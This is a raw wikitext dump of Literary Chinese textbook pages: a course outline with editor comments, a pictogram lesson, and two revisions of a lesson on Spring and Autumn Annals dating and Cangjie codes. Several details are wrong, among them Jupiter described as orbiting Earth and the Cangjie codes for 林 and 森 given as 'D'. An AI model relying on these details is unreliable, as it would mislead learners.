===Unit 20: Buddhist Literature=== <!--- You would be forgiven for wondering why this is so late, but if you look at many classical Buddhist texts you'll quickly see a ton of loanwords that make it significantly more difficult to read than the average text. Thus, it goes here for now. ---> <!--- Place focus on practical stuff first. Stuff you can and WILL see in Buddhist temples. Stuff Buddhists can take away immediately. Skills-based approach feels strongest here. ---> <!--- Look at Northern Liang and Later Qin literature, as there is a ton of work by translators from India during the 16 kingdoms period, particularly those two. ---> <!--- Stuff by Bodhidharma 達摩 could be fun too https://zh.wikisource.org/wiki/Author:%E9%81%94%E6%91%A9 ---> # [[/Dipping your feet in with Wenyan Shu/]] <!--- 華亭 世尊遺法本忘言，教外別傳意已圓。 只履攜將蔥嶺去，不妨來上月明船。 ---> # [[/Buddhism in Battle Standards/]] # [[/The Seven Tathagatas/]] <!--- 南無寶勝如來 南無多寶如來 南無妙色身如來 南無廣博身如來 南無離怖畏如來 南無甘露王如來 南無阿彌陀佛 Use to introduce some core vocabulary in repetitive manner. Useful phrases from my trip to Jing'an Temple 南無本師釋迦牟尼佛 - Pay homage to the root teacher 南無大悲觀世音菩薩 - Pay homage to the goddess of mercy 廣種福田 - widely plant a meritorious field ---> # [[/Two Buddhist Temples in Shanghai/]] <!--- 留雲禪寺 雲留雲翔領畧幾許禪機此地有雲散天開真如界。 塔內塔外普示無邊圓覺是故曰塔影雙照解脫門。 歲次壬午冬月吉旦。 覺醒敬撰。 楊胡生沐手恭書。 善信印利明敬獻。 ---> <!--- 福慧宝鼎 慧明大和尚 - introduce the Buddhist timekeeping system with 佛歷 around this point. 赤烏古剎 建寺一千七百六十周年紀念 古剎三國建 滬瀆有重玄 石佛音淨現 聖跡顯重元 唐時稱永泰 宋敕名靜安 聖祖留佛闡 仲師移伽藍 元收八景偈 明鑄鐘聲梵 清樹化羅漢 選賢十方讚 佛日普光明 福慧共修善 鼎運昌隆際 轉正法輪緣 歲次丁亥住持慧明監製 ---> # [[/Foreseeing Monkhood with Yi Xing/]] <!--- 看命一掌金 ---> # [[/A Trip to Western Xia with Zhi Guang and Hui Zhen/]] <!--- https://zh.wikisource.org/wiki/%E5%AF%86%E5%91%AA%E5%9C%93%E5%9B%A0%E5%BE%80%E7%94%9F%E9%9B%86 ---> <!--- https://zh.wikisource.org/wiki/%E5%AF%86%E5%92%92%E5%9C%93%E5%9B%A0%E5%BE%80%E7%94%9F%E9%9B%86 ---> # [[/Jizang's Three Discourses/]] <!--- https://zh.wikisource.org/wiki/%E4%B8%89%E8%AB%96%E7%8E%84%E7%BE%A9 ---> <!--- I saw these texts being quoted and thus should consider them in some capacity. 《般若波羅蜜多心經》 《金剛般若波羅蜜經》 《一切智光明仙人慈心因緣不食肉經》 《妙法蓮華經》 《大般涅槃經》 《大方等大集經》 《大毘盧舍那成佛神變加持經蓮華胎藏悲生曼荼羅廣大成就儀軌供養方便會》/ 胎藏曼荼羅 《佛說救拔焰口餓鬼陀羅尼經》 《雜阿含經》 Look at Japan's 五山文学 ---> ===Unit 21: People Focus - Manchu peoples=== # [[/Qing dynasty Poetry with Nara Singde/]] <!--- 飲水詞 納蘭性德 https://zh.wikisource.org/wiki/Author:%E7%B4%8D%E8%98%AD%E6%80%A7%E5%BE%B7 ---> # [[/Amassing Words with the Kangxi Emperor/]] # [[/Amassing Literature with the Qianlong Emperor/]] <!--- Siku Quanshu abstract https://zh.wikisource.org/wiki/%E5%9B%9B%E5%BA%AB%E5%85%A8%E6%9B%B8%E7%B8%BD%E7%9B%AE%E6%8F%90%E8%A6%81 ---> <!--- Yongzheng Emperor's Poetry https://zh.wikisource.org/wiki/Author:%E9%9B%8D%E6%AD%A3%E5%B8%9D 《和碩怡賢親王祭文》 Also include 滿洲國 stuff to show the fall of the Qing and attempts to preserve it through becoming a Japanese puppet state. It is important to show how Literary Chinese can be misused as well. 滿洲國建國宣言 is a good shout, as is 法制 to prepare students who may be interested in Taiwan legal stuff later down the road. https://zh.wikisource.org/wiki/Category:%E6%BB%BF%E6%B4%B2%E5%9C%8B ---> # [[/Paintings and Beauty with Puru Aisin-Gioro/]] <!--- Saw these in Shanghai Museum with some writing, seemed really cool. Teaches another skill. ---> ===Unit 22: Qing-RoC Literature=== <!--- many writers here, will be difficult to sift through. Include 四库全書 abstracts and stuff here. ---> # [[/Jewish Refugees in Shanghai/]] <!--- Show passports, certificates, etc, from the Jewish Refugee Museum, anonymised. ---> # [[/A Literary Chinese Abstract/]] <!--- Abstracts from siku quanshu, probably want others ---> # [[/Lament with Lu Ruoteng/]] <!--- 《疑猜》盧若騰，東寧國 盟誓變為交質子，春秋戰國風如此；末世上下相疑猜, 更質妻子防逃徙。 此法只可羈庸奴，若遇梟雄術窮矣；妻可再娶子再育, 安能長坐針氈裏。 我贈一法君記存；推心置腹人知恩；眾人畜之眾人報, 幾個國士在君門。 盧若騰撰，陳漢光編輯，《島噫詩》，臺灣文獻叢刊第二四五種（臺北:臺灣銀行經濟研究室，1968年）21頁。 ---> # [[/Common Linguistics Knowledge in the RoC/]] <!--- 音韻常識 ---> ==References used for this page== * Yang, B. (2016). 文言语法 [Literary Chinese Grammar] (1st ed). 中华书局 [Zhonghua Book Company]. ISBN: 978-7-101-11619-9 * Priestley, K. E., & Shou-jung, C. (1962). China’s Men of Letters, Yesterday and Today. Dragonfly Books. {{BookCat}} 96vxxbiwsasdmdlh8rmbzea7fgvcfde 0 481711 4670705 4656693 2026-09-17T19:14:28Z Shira the Mogul 3560559 4670705 wikitext text/x-wiki {{BookCat}} Hello! If you're here, you want to learn Literary Chinese. You have probably heard tales of how "hard" this writing system is, and this unit is designed to make it easier so you can get up and use it. ==Lesson== [[File:Shang dynasty inscribed scapula.jpg|thumb|300px|An [[w:Oracle bone|Oracle bone]] written by [[w:Zheng (diviner)|Zheng]] (爭).]] [[File:象形文字 木.svg|thumb|300px|A good few characters come from some sort of picture!]] The Han script is built on pictures drawn by ancient people around 5,000 years ago, around the time of the Shang dynasty when it was just a tribe. It is truly ancient, and that means lots of writing for you to access here. A good bunch of the most basic words are still abstract versions of the pictures those ancient people drew. Here's three: * 木 - Tree * 一 - One * 二 - Two What do you think "three" would be? With that knowledge in mind, look at these sentences: <blockquote> 一物曰木。二木曰林。三木曰森。 </blockquote> You can probably guess what this means based on context. Gloss: One thing (is) called (a) tree. Two trees (are) called (a) forest. Three trees (are) called (a) heavy forest. You now know several things: * You know where numbers go. * You know how the words in basic sentences are ordered. * You know how to say something is called something. * You know what 林 and 森 are in Chinese. * You know that we don't need "is/are" or "a/the" in this language! Good luck in the next few lessons! Try looking for [[:wikt:Category:Han pictograms|more characters like this]] (like 火 and 人!) via Wiktionary. ==Cangjie codes== If you are not yet familiar with the [[w:Cangjie input method|Cangjie input method]], this will come later. * [[:wikt:一|一]] - 一 (M) * [[:wikt:二|二]] - 一一 (MM) * [[:wikt:三|三]] - 一一一 (MMM) * [[:wikt:木|木]] - 木 (D) * [[:wikt:林|林]] - 木木 (D) * [[:wikt:森|森]] - 木木木 (D) * [[:wikt:曰|曰]] - 曰 (A) * [[:wikt:物|物]] - 竹手心竹竹 (HQPHH) Notice something consistent here? [[Category:Book:General Literary Chinese from Scratch]] s4fr06que10r9g2qvrj4kblz0q0pzgv 0 483699 4670871 4669545 2026-09-18T07:10:30Z Shira the Mogul 3560559 /* The Sexagenery cycle */ 4670871 wikitext text/x-wiki [[File:Confucius, fresco from a Western Han tomb of Dongping County, Shandong province, China.jpg|thumb|200px|Confucius, a purported author of the Annals.]] One of the most famous texts in the Literary and Classical Chinese canon is the Spring and Autumn Annals, known natively as ''Chunqiu'' 春秋. It is said to have been by Confucius whilst he was a minister in the State of Lu 魯, and while it is extremely simple, it is extremely audacious, biassed, and tongue-in-cheek, all whilst not necessarily being explicit about it. This makes it an excellent way to discuss dates, synonyms for various important verbs, and find early but important ways to get acquainted with traditional writers thought. By the end of this lesson, you will have an idea of why this text spawned five extremely elaborate commentaries, three of which are extant to this day. The State of Lu was founded by Boqi 伯禽, also known posthumously as Duke Tai of Lu 魯太公, after the fall of the Shang dynasty. It was a small but significant state, being a hotbed for ancient philosophy, and lasted for around eight centuries. Famous philosophers from Lu include Mozi 墨子, Confucius 孔子, and Zuo Qiuming 左丘明, whose writings still impact the Sinosphere to this day. Lu was located in what is now Shandong 山東, and its capital, Qufu 曲阜, holds numerous artifacts and manuscripts from that time. Getting the calendar (曆) right was serious business for the ancient Chinese people. The Miao 苗 people were infamously sacked by Emperor Shun 帝舜 in part for "confusing" the calendar, and this crime would be applied to later regimes as well. As one would expect, recording historical annals properly was, then, of critical importance. I will teach you how they wanted you to do it in this lesson...luckily, without your bloodline on, well, the line! ==The Earthly Branches== The Earthly Branches 地支 are highly important for timekeeping and denote set 2-hour periods. One can arrange these like an analog clock, and the structure 甲時 is normally used for saying "X happened at Y time." These branches are associated with Jupiter's 12-year rotations around Earth. The following are each of the Earthly Branches: {| class="wikitable" !Heavenly Branch!!Timespan |- |子|| 23:00-01:00 |- |丑|| 01:00-03:00 |- |寅|| 03:00-05:00 |- |卯|| 05:00-07:00 |- |辰||07:00-09:00 |- |巳||09:00-11:00 |- |午|| 11:00-13:00 |- |未|| 13:00-15:00 |- |申|| 15:00-17:00 |- |酉|| 17:00-19:00 |- |戌|| 19:00-21:00 |- |亥|| 21:00-23:00 |} ==The Sexagenery cycle== [[File:Heji 37986 Ganzhi table.jpg|thumb|200px|Observe, the actual bone this was from!]] By combining the Earthly Branches with the Heavenly Stems from the last lesson, one can make 60 combinations, which form a 60-day cycle. This has been used since the Shang era, and continues to be used for the Lunar Calendar. It is also used to denote lunar years. Here they are in order, taken from a real oracle bone! <blockquote> 甲子 乙丑 丙寅 丁卯 戊辰 己巳<br> 庚午 辛未 壬申 癸酉 甲戌 乙亥<br> 丙子 丁丑 戊寅 己卯 庚辰 辛巳<br> 壬午 癸未 甲申 乙酉 丙戌 丁亥<br> 戊子 己丑 庚寅 辛卯 壬辰 癸巳<br> 甲午 乙未 丙申 丁酉 戊戌 己亥<br> 庚子 辛丑 壬寅 癸卯 甲辰 乙巳<br> 丙午 丁未 戊申 己酉 庚戌 辛亥<br> 壬子 癸丑 甲寅 乙卯 丙辰 丁巳<br> 戊午 己未 庚申 辛酉 壬戌 癸亥 </blockquote> The person who wrote that bone was also a learner: They memorised the cycle simply through rote memorisation. If you want, you can try it too: Just like someone from 3,000 years ago. If you want to try, I recommend doing it in groups; you can do it in groups of 3, 4, 5, 6, whatever you find works best for you. By chunking them, things become a little easier. ==Use in dates== <blockquote> 冬，十月，壬午，齊人、鄭人入郕。 </blockquote> As-is, you should be able to roughly figure out what this sentence means, with your knowledge of the Heavenly Branches, Earthly Stems, and what 人 means. This is but one line from the Spring and Autumn Annals. The first character is the season. Like in English, there are four: Spring 春, Summer 夏, Autumn 秋, and Winter 冬. This will usually come after the date, and then subsequent events will be categorised by season, with the month number and sexagenery day within. This is somewhat difficult to directly translate into modern years for many manuscripts, but most from the Spring and Autumn Annals and onwards are generally understood. In the case of this text, it covers events from around circa 790 BC to circa 500 BC, a 242ish year period. The reason years are somewhat difficult to ascertain is because East Asian years were traditionally tied to the ruler. Therefore, there will be a 元年 - that's the first - followed by Ruler二年, and so on, until death. The Republic of China, for example, uses dates based on the day of its founding after the fall of the Qing dynasty in 1912 (e.g. 中華民國一百十六年), as does North Korea (e.g. 主體七十四年). Once one ruler's rough date of existence is known, though, reconstructing the whole timeline in other calendars, at least based on the word of the writer, is usually quite straightforward. You can probably figure out both of those example years I wrote through general knowledge! <blockquote> 秋七月壬辰朔，日有食之，既。 五年春正月，甲戌、己丑，陳侯鮑卒。 </blockquote> ==A full year of Duke Min of Lu== 魯閔公 <blockquote> 元年春，王正月。 齊人救邢。 夏六月，辛酉，葬我君莊公。 秋八月，公及齊侯盟于落姑。季子來歸。 冬，齊仲孫來。 二年春，王正月，齊人遷陽。 夏，五月，乙酉，吉禘于莊公。 秋，八月，辛丑，公薨。 九月，夫人姜氏孫于邾。公子慶父出奔莒。 冬，齊高子來盟。 十有二月，狄入衛。 鄭棄其師。 </blockquote> ==Additional vocabulary== There are a few more pieces of vocabulary that are worth remembering. {|class="wikitable" !Character!!Meaning!!Notes |- |春||Spring, the first three months of the year.||The four seasons are referred to as 四時, lit. the "Four Times." |- |夏||Summer, the second three months of the year.||Also the name of a semi-legendary dynasty, the Xia dynasty. |- |秋||Autumn, the third three months of a year.|| |- |冬||Winter, the last three months of a year.|| |- |正月||First month of a year.||一月 can exist, but 正月 is much, much more common. |- |元月/年||Inaugral month/year for a ruler.|| |- |載||Legal synonym for a year 年||For example, 雍正三載 could refer to the third year of the Yongzheng Emperor's reign. |- |歲||A year, syn. 年||Typically seen in older texts, especially Oracle bones. The character technically means Jupiter! |- |春秋||Usually annals, but can also be used to refer to one's age.|| |- |朔(日 or 月)||The first day of the month.|| |- |晦日||The last day of the lunar month.||The last moon of a month is known as 盡月. |- |臘月||The twelfth lunar month.||Consists of a traditional festival on the 7th day called 儺 which exorcises inauspicious spirits, ensuring they do not hurt people in the new year. The next day is 臘, which is a sacrifice to ancestors, 祖. |- |除日||Last day of the 12th lunar month.|| |- |朞||Complete||朞月 as a complete month, 朞年 as a full year. |- |來||The coming||Usually used with a new day as it comes. 異日 can also be used to vaguely an undefined day in the future. |- |前||The last||Usually "yesterday". With respect to time, it can also refer to any time before, wherein the opposite is 後. |- |初||Beginning||Used very frequently. |- |旬||10-day week||Days in ancient China were recorded as 10-day weeks as they used the orbit of Jupiter, not the moon, to define time. |- |} ==Exercise: Defining the Months== The ''Erya'' 爾雅, an ancient dictionary, defines the months as follows. With the vocabulary you know so far, you should be able to read the entries yourself. However, it should be noted that these are not used too often, and simply using number+month is fine! <blockquote> 正月為陬<br> 二月為如<br> 三月為寎<br> 四月為余<br> 五月為皋<br> 六月為且<br> 七月為相<br> 八月為壯<br> 九月為玄<br> 十月為陽<br> 十一月為辜<br> 十二月為涂 </blockquote> ==Cangjie codes== * 春: 手大日 (QKA) * 秋: 竹木火 (HDF) * 魯: 弓田火日 (NWFA) * 伯: 人竹日 (OHA) * 禽: 人卜山月 (OYUB) * 太: 大戈 (KI) * 公: 金戈 (CI) * 墨: 田土火土 (WGFG) * 子: 弓木 (ND) * 孔: 弓木山 (NDU) * 左: 大一 (KM) * 丘: 人一 (OM) * 明: 日月 (AB) * 山: 山 (U) * 東: 木田 (DW) * 曲: 廿田 (TW) * 阜: 竹口十 (HRJ) * 曆: 一木日 (MDA) * 苗: 廿田 (TW) * 帝: 卜月中月 (YBLB) * 舜: 月月弓手 (BBNQ) * 地: 土心木 (GPD) * 支: 十水 (JE) * 甲: 田中 (WL) * 時: 日土木戈 (AGDI) * 丑: 弓土 (NG) * 寅: 十一中金 (JMLC) * 卯: 竹竹尸中 (HHSL) * 辰: 一一一女 (MMMV) * 巳: 口山 (RU) * 午: 人十 (OJ) * 未: 十木 (JD) * 申: 中田中 (LWL) * 酉: 一金田一 (MCWM) * 戌: 戈竹一 (IHM) * 亥: 卜女竹人 (YVHO) * 乙: 弓山 (NU) * 丙: 一人月 (MOB) * 丁: 一弓 (MN) * 戊: 戈竹 (IH) * 己: 尸山 (SU) * 庚: 戈中人 (ILO) * 辛: 卜廿十 (YTJ) * 壬: 竹土 (HG) * 癸: 弓人一大 (NOMK) * 冬: 竹水卜 (HEY) * 十: 十 (J) * 月: 月 (B) * 齊: 卜難 (YX) * 人: 人 (O) * 鄭: 廿大弓中 (TKNL) * 入: 人竹 (OH) * 郕: 戈尸弓中 (ISNL) * 夏: 一山竹水 (MUHE) * 元: 一一山 (MMU) * 年: 人手 (OQ) * 二: 一一 (MM) * 中: 中 (L) * 華: 廿一廿十 (TMTJ) * 民: 口女心 (RVP) * 國: 田戈口一 (WIRM) * 一: 一 (M) * 百: 一日 (MA) * 六: 卜金 (YC) * 主: 卜土 (YG) * 體: 月月廿田廿 (BBTWT) * 七: 十山 (JU) * 四: 田金 (WC) * 朔: 廿山月 (TUB) * 日: 日 (A) * 有: 大月 (KB) * 食: 人戈日女 (OIAV) * 之: 戈弓人 (INO) * 既: 日戈一女山 (AIMVU) * 五: 一木一 (MDM) * 正: 一卜中一 (MYLM) * 陳: 弓中木田 (NLDW) * 侯: 人弓一大 (ONMK) * 鮑: 弓火心口山 (NFPRU) * 卒: 卜人人十 (YOOJ) * 閔: 日弓卜大 (ANYK) * 王: 一土 (MG) * 救: 戈水人大 (IEOK) * 邢: 一廿弓中 (MTNL) * 葬: 廿一心廿 (TMPT) * 我: 竹手戈 (HQI) * 君: 尸大口 (SKR) * 莊: 廿女一土 (TVMG) * 八: 竹人 (HO) * 及: 弓竹水 (NHE) * 盟: 日月月廿 (ABBT) * 于: 一木 (MD) * 落: 廿水竹口 (TEHR) * 姑: 女十口 (VJR) * 季: 竹木弓木 (HDND) * 來: 木人人 (DOO) * 歸: 竹一尸一月 (HMSMB) * 仲: 人中 (OL) * 孫: 弓木竹女火 (NDHVF) * 遷: 卜一田山 (YMWU) * 陽: 弓中日一竹 (NLAMH) * 吉: 土口 (GR) * 禘: 戈火卜月月 (IFYBB) * 薨: 廿田中心 (TWLP) * 九: 大弓 (KN) * 夫: 手人 (QO) * 姜: 廿土女 (TGV) * 氏: 竹女心 (HVP) * 邾: 竹木弓中 (HDNL) * 慶: 戈難水 (IXE) * 父: 金大 (CK) * 出: 山山 (UU) * 奔: 大十廿 (KJT) * 莒: 廿口竹口 (TRHR) * 高: 卜口月口 (YRBR) * 狄: 大竹火 (KHF) * 衛: 竹人木手弓 (HODQN) * 棄: 卜戈廿木 (YITD) * 其: 廿一一金 (TMMC) * 師: 竹口一中月 (HRMLB) * 載: 十戈十田十 (JIJWJ) * 雍: 卜女竹土 (YVHG) * 三: 一一一 (MMM) * 歲: 卜一戈竹竹 (YMIHH) * 晦: 日人田卜 (AOWY) * 盡: 中一火月廿 (LMFBT) * 臘: 月女女女 (BVVV) * 儺: 人廿人土 (OTOG) * 祖: 戈火月一 (IFBM) * 除: 弓中人一木 (NLOMD) * 朞: 廿金月 (TCB) * 異: 田廿金 (WTC) * 前: 廿月中弓 (TBLN) * 後: 竹人女戈水 (HOVIE) * 初: 中尸竹 (LSH) * 旬: 心日 (PA) * 爾: 一火月大 (MFBK) * 雅: 一竹人土 (MHOG) * 為: 戈大弓火 (IKNF) * 陬: 弓中尸十水 (NLSJE) * 如: 女口 (VR) * 寎: 十女一月 (JVMB) * 余: 人一木 (OMD) * 皋: 竹日大十 (HAKJ) * 且: 月一 (BM) * 相: 木月山 (DBU) * 壯: 女一土 (VMG) * 玄: 卜女戈 (YVI) * 辜: 十口卜廿十 (JRYTJ) * 涂: 水人一木 (EOMD) * 經: 女火一女一 (VFMVM) * 合: 人一口 (OMR) * 集: 人土木 (OGD) ==References== * 《春秋經》 * 《爾雅》 * 《合集》37986 {{BookCat}} j3ho4p9p2ahq32330adcw29bomqxrwq 4670873 4670871 2026-09-18T07:17:56Z Shira the Mogul 3560559 /* The Sexagenery cycle */ 4670873 wikitext text/x-wiki [[File:Confucius, fresco from a Western Han tomb of Dongping County, Shandong province, China.jpg|thumb|200px|Confucius, a purported author of the Annals.]] One of the most famous texts in the Literary and Classical Chinese canon is the Spring and Autumn Annals, known natively as ''Chunqiu'' 春秋. It is said to have been by Confucius whilst he was a minister in the State of Lu 魯, and while it is extremely simple, it is extremely audacious, biassed, and tongue-in-cheek, all whilst not necessarily being explicit about it. This makes it an excellent way to discuss dates, synonyms for various important verbs, and find early but important ways to get acquainted with traditional writers thought. By the end of this lesson, you will have an idea of why this text spawned five extremely elaborate commentaries, three of which are extant to this day. The State of Lu was founded by Boqi 伯禽, also known posthumously as Duke Tai of Lu 魯太公, after the fall of the Shang dynasty. It was a small but significant state, being a hotbed for ancient philosophy, and lasted for around eight centuries. Famous philosophers from Lu include Mozi 墨子, Confucius 孔子, and Zuo Qiuming 左丘明, whose writings still impact the Sinosphere to this day. Lu was located in what is now Shandong 山東, and its capital, Qufu 曲阜, holds numerous artifacts and manuscripts from that time. Getting the calendar (曆) right was serious business for the ancient Chinese people. The Miao 苗 people were infamously sacked by Emperor Shun 帝舜 in part for "confusing" the calendar, and this crime would be applied to later regimes as well. As one would expect, recording historical annals properly was, then, of critical importance. I will teach you how they wanted you to do it in this lesson...luckily, without your bloodline on, well, the line! ==The Earthly Branches== The Earthly Branches 地支 are highly important for timekeeping and denote set 2-hour periods. One can arrange these like an analog clock, and the structure 甲時 is normally used for saying "X happened at Y time." These branches are associated with Jupiter's 12-year rotations around Earth. The following are each of the Earthly Branches: {| class="wikitable" !Heavenly Branch!!Timespan |- |子|| 23:00-01:00 |- |丑|| 01:00-03:00 |- |寅|| 03:00-05:00 |- |卯|| 05:00-07:00 |- |辰||07:00-09:00 |- |巳||09:00-11:00 |- |午|| 11:00-13:00 |- |未|| 13:00-15:00 |- |申|| 15:00-17:00 |- |酉|| 17:00-19:00 |- |戌|| 19:00-21:00 |- |亥|| 21:00-23:00 |} ==The Sexagenery cycle== [[File:Heji 37986 Ganzhi table.jpg|thumb|200px|Observe, the actual bone this was from!]] By combining the Earthly Branches with the Heavenly Stems from the last lesson, one can make 60 combinations, which form a 60-day cycle. This has been used since the Shang era, and continues to be used for the Lunar Calendar. It is also used to denote lunar years. Here they are in order, taken from a real oracle bone! <blockquote> 甲子 乙丑 丙寅 丁卯 戊辰 己巳<br> 庚午 辛未 壬申 癸酉 甲戌 乙亥<br> 丙子 丁丑 戊寅 己卯 庚辰 辛巳<br> 壬午 癸未 甲申 乙酉 丙戌 丁亥<br> 戊子 己丑 庚寅 辛卯 壬辰 癸巳<br> 甲午 乙未 丙申 丁酉 戊戌 己亥<br> 庚子 辛丑 壬寅 癸卯 甲辰 乙巳<br> 丙午 丁未 戊申 己酉 庚戌 辛亥<br> 壬子 癸丑 甲寅 乙卯 丙辰 丁巳<br> 戊午 己未 庚申 辛酉 壬戌 癸亥 </blockquote> The person who wrote that bone was also a learner: They memorised the cycle simply through rote memorisation. If you want, you can try it too: Just like someone from 3,000 years ago. If you want to try, I recommend doing it in groups; if you want to achieve the same remarkable organisation as the bone, do so in groups of 6, but do whatever you find works best for you. By chunking them, things become a little easier. ==Use in dates== <blockquote> 冬，十月，壬午，齊人、鄭人入郕。 </blockquote> As-is, you should be able to roughly figure out what this sentence means, with your knowledge of the Heavenly Branches, Earthly Stems, and what 人 means. This is but one line from the Spring and Autumn Annals. The first character is the season. Like in English, there are four: Spring 春, Summer 夏, Autumn 秋, and Winter 冬. This will usually come after the date, and then subsequent events will be categorised by season, with the month number and sexagenery day within. This is somewhat difficult to directly translate into modern years for many manuscripts, but most from the Spring and Autumn Annals and onwards are generally understood. In the case of this text, it covers events from around circa 790 BC to circa 500 BC, a 242ish year period. The reason years are somewhat difficult to ascertain is because East Asian years were traditionally tied to the ruler. Therefore, there will be a 元年 - that's the first - followed by Ruler二年, and so on, until death. The Republic of China, for example, uses dates based on the day of its founding after the fall of the Qing dynasty in 1912 (e.g. 中華民國一百十六年), as does North Korea (e.g. 主體七十四年). Once one ruler's rough date of existence is known, though, reconstructing the whole timeline in other calendars, at least based on the word of the writer, is usually quite straightforward. You can probably figure out both of those example years I wrote through general knowledge! <blockquote> 秋七月壬辰朔，日有食之，既。 五年春正月，甲戌、己丑，陳侯鮑卒。 </blockquote> ==A full year of Duke Min of Lu== 魯閔公 <blockquote> 元年春，王正月。 齊人救邢。 夏六月，辛酉，葬我君莊公。 秋八月，公及齊侯盟于落姑。季子來歸。 冬，齊仲孫來。 二年春，王正月，齊人遷陽。 夏，五月，乙酉，吉禘于莊公。 秋，八月，辛丑，公薨。 九月，夫人姜氏孫于邾。公子慶父出奔莒。 冬，齊高子來盟。 十有二月，狄入衛。 鄭棄其師。 </blockquote> ==Additional vocabulary== There are a few more pieces of vocabulary that are worth remembering. {|class="wikitable" !Character!!Meaning!!Notes |- |春||Spring, the first three months of the year.||The four seasons are referred to as 四時, lit. the "Four Times." |- |夏||Summer, the second three months of the year.||Also the name of a semi-legendary dynasty, the Xia dynasty. |- |秋||Autumn, the third three months of a year.|| |- |冬||Winter, the last three months of a year.|| |- |正月||First month of a year.||一月 can exist, but 正月 is much, much more common. |- |元月/年||Inaugral month/year for a ruler.|| |- |載||Legal synonym for a year 年||For example, 雍正三載 could refer to the third year of the Yongzheng Emperor's reign. |- |歲||A year, syn. 年||Typically seen in older texts, especially Oracle bones. The character technically means Jupiter! |- |春秋||Usually annals, but can also be used to refer to one's age.|| |- |朔(日 or 月)||The first day of the month.|| |- |晦日||The last day of the lunar month.||The last moon of a month is known as 盡月. |- |臘月||The twelfth lunar month.||Consists of a traditional festival on the 7th day called 儺 which exorcises inauspicious spirits, ensuring they do not hurt people in the new year. The next day is 臘, which is a sacrifice to ancestors, 祖. |- |除日||Last day of the 12th lunar month.|| |- |朞||Complete||朞月 as a complete month, 朞年 as a full year. |- |來||The coming||Usually used with a new day as it comes. 異日 can also be used to vaguely an undefined day in the future. |- |前||The last||Usually "yesterday". With respect to time, it can also refer to any time before, wherein the opposite is 後. |- |初||Beginning||Used very frequently. |- |旬||10-day week||Days in ancient China were recorded as 10-day weeks as they used the orbit of Jupiter, not the moon, to define time. |- |} ==Exercise: Defining the Months== The ''Erya'' 爾雅, an ancient dictionary, defines the months as follows. With the vocabulary you know so far, you should be able to read the entries yourself. However, it should be noted that these are not used too often, and simply using number+month is fine! <blockquote> 正月為陬<br> 二月為如<br> 三月為寎<br> 四月為余<br> 五月為皋<br> 六月為且<br> 七月為相<br> 八月為壯<br> 九月為玄<br> 十月為陽<br> 十一月為辜<br> 十二月為涂 </blockquote> ==Cangjie codes== * 春: 手大日 (QKA) * 秋: 竹木火 (HDF) * 魯: 弓田火日 (NWFA) * 伯: 人竹日 (OHA) * 禽: 人卜山月 (OYUB) * 太: 大戈 (KI) * 公: 金戈 (CI) * 墨: 田土火土 (WGFG) * 子: 弓木 (ND) * 孔: 弓木山 (NDU) * 左: 大一 (KM) * 丘: 人一 (OM) * 明: 日月 (AB) * 山: 山 (U) * 東: 木田 (DW) * 曲: 廿田 (TW) * 阜: 竹口十 (HRJ) * 曆: 一木日 (MDA) * 苗: 廿田 (TW) * 帝: 卜月中月 (YBLB) * 舜: 月月弓手 (BBNQ) * 地: 土心木 (GPD) * 支: 十水 (JE) * 甲: 田中 (WL) * 時: 日土木戈 (AGDI) * 丑: 弓土 (NG) * 寅: 十一中金 (JMLC) * 卯: 竹竹尸中 (HHSL) * 辰: 一一一女 (MMMV) * 巳: 口山 (RU) * 午: 人十 (OJ) * 未: 十木 (JD) * 申: 中田中 (LWL) * 酉: 一金田一 (MCWM) * 戌: 戈竹一 (IHM) * 亥: 卜女竹人 (YVHO) * 乙: 弓山 (NU) * 丙: 一人月 (MOB) * 丁: 一弓 (MN) * 戊: 戈竹 (IH) * 己: 尸山 (SU) * 庚: 戈中人 (ILO) * 辛: 卜廿十 (YTJ) * 壬: 竹土 (HG) * 癸: 弓人一大 (NOMK) * 冬: 竹水卜 (HEY) * 十: 十 (J) * 月: 月 (B) * 齊: 卜難 (YX) * 人: 人 (O) * 鄭: 廿大弓中 (TKNL) * 入: 人竹 (OH) * 郕: 戈尸弓中 (ISNL) * 夏: 一山竹水 (MUHE) * 元: 一一山 (MMU) * 年: 人手 (OQ) * 二: 一一 (MM) * 中: 中 (L) * 華: 廿一廿十 (TMTJ) * 民: 口女心 (RVP) * 國: 田戈口一 (WIRM) * 一: 一 (M) * 百: 一日 (MA) * 六: 卜金 (YC) * 主: 卜土 (YG) * 體: 月月廿田廿 (BBTWT) * 七: 十山 (JU) * 四: 田金 (WC) * 朔: 廿山月 (TUB) * 日: 日 (A) * 有: 大月 (KB) * 食: 人戈日女 (OIAV) * 之: 戈弓人 (INO) * 既: 日戈一女山 (AIMVU) * 五: 一木一 (MDM) * 正: 一卜中一 (MYLM) * 陳: 弓中木田 (NLDW) * 侯: 人弓一大 (ONMK) * 鮑: 弓火心口山 (NFPRU) * 卒: 卜人人十 (YOOJ) * 閔: 日弓卜大 (ANYK) * 王: 一土 (MG) * 救: 戈水人大 (IEOK) * 邢: 一廿弓中 (MTNL) * 葬: 廿一心廿 (TMPT) * 我: 竹手戈 (HQI) * 君: 尸大口 (SKR) * 莊: 廿女一土 (TVMG) * 八: 竹人 (HO) * 及: 弓竹水 (NHE) * 盟: 日月月廿 (ABBT) * 于: 一木 (MD) * 落: 廿水竹口 (TEHR) * 姑: 女十口 (VJR) * 季: 竹木弓木 (HDND) * 來: 木人人 (DOO) * 歸: 竹一尸一月 (HMSMB) * 仲: 人中 (OL) * 孫: 弓木竹女火 (NDHVF) * 遷: 卜一田山 (YMWU) * 陽: 弓中日一竹 (NLAMH) * 吉: 土口 (GR) * 禘: 戈火卜月月 (IFYBB) * 薨: 廿田中心 (TWLP) * 九: 大弓 (KN) * 夫: 手人 (QO) * 姜: 廿土女 (TGV) * 氏: 竹女心 (HVP) * 邾: 竹木弓中 (HDNL) * 慶: 戈難水 (IXE) * 父: 金大 (CK) * 出: 山山 (UU) * 奔: 大十廿 (KJT) * 莒: 廿口竹口 (TRHR) * 高: 卜口月口 (YRBR) * 狄: 大竹火 (KHF) * 衛: 竹人木手弓 (HODQN) * 棄: 卜戈廿木 (YITD) * 其: 廿一一金 (TMMC) * 師: 竹口一中月 (HRMLB) * 載: 十戈十田十 (JIJWJ) * 雍: 卜女竹土 (YVHG) * 三: 一一一 (MMM) * 歲: 卜一戈竹竹 (YMIHH) * 晦: 日人田卜 (AOWY) * 盡: 中一火月廿 (LMFBT) * 臘: 月女女女 (BVVV) * 儺: 人廿人土 (OTOG) * 祖: 戈火月一 (IFBM) * 除: 弓中人一木 (NLOMD) * 朞: 廿金月 (TCB) * 異: 田廿金 (WTC) * 前: 